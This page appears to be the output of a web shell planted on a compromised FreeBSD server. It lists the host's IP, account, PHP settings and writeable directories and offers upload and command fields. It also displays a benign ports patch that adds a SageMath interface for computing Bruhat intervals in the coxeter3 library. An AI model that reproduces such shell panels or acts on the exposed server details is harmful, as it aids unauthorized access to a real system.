403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/math/coxeter3/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/math/coxeter3/files/patch-sage.cpp
--- sage.cpp.orig	2021-01-24 16:21:00 UTC
+++ sage.cpp
@@ -0,0 +1,60 @@
+/*
+  Coxeter version 3.0 Copyright (C) 2009 Mike Hansen
+  See file main.cpp for full copyright notice
+
+  Patch from Jeroen Demeyer <jdemeyer@cage.ugent.be>,
+  borrowed by SageMath: Add Sage interface.
+
+*/
+
+#include "sage.h"
+
+namespace sage {
+
+  void interval(List<CoxWord>& list, CoxGroup& W, const CoxWord& g, const CoxWord& h)
+
+  /*
+     Returns a list of the elements in the Bruhat interval between g and h.
+     Note that this assumes that g and h are in order.
+   */
+  {
+    if (not W.inOrder(g,h)) {
+      return;
+    }
+
+    W.extendContext(h);
+
+    CoxNbr x = W.contextNumber(g);
+    CoxNbr y = W.contextNumber(h);
+
+    BitMap b(W.contextSize());
+    W.extractClosure(b,y);
+
+    BitMap::ReverseIterator b_rend = b.rend();
+    List<CoxNbr> res(0);
+
+    for (BitMap::ReverseIterator i = b.rbegin(); i != b_rend; ++i)
+      if (not W.inOrder(x,*i)) {
+        BitMap bi(W.contextSize());
+        W.extractClosure(bi,*i);
+        CoxNbr z = *i; // andnot will invalidate iterator
+        b.andnot(bi);
+        b.setBit(z);   // otherwise the decrement will not be correct
+      } else
+        res.append(*i);
+
+    schubert::NFCompare nfc(W.schubert(),W.ordering());
+    Permutation a(res.size());
+    sortI(res,nfc,a);
+
+    list.setSize(0);
+    for (size_t j = 0; j < res.size(); ++j) {
+      CoxWord w(0);
+      W.schubert().append(w, res[a[j]]);
+      list.append(w);
+    }
+
+    return;
+  }
+
+}

Youez - 2016 - github.com/yon3zu
LinuXploit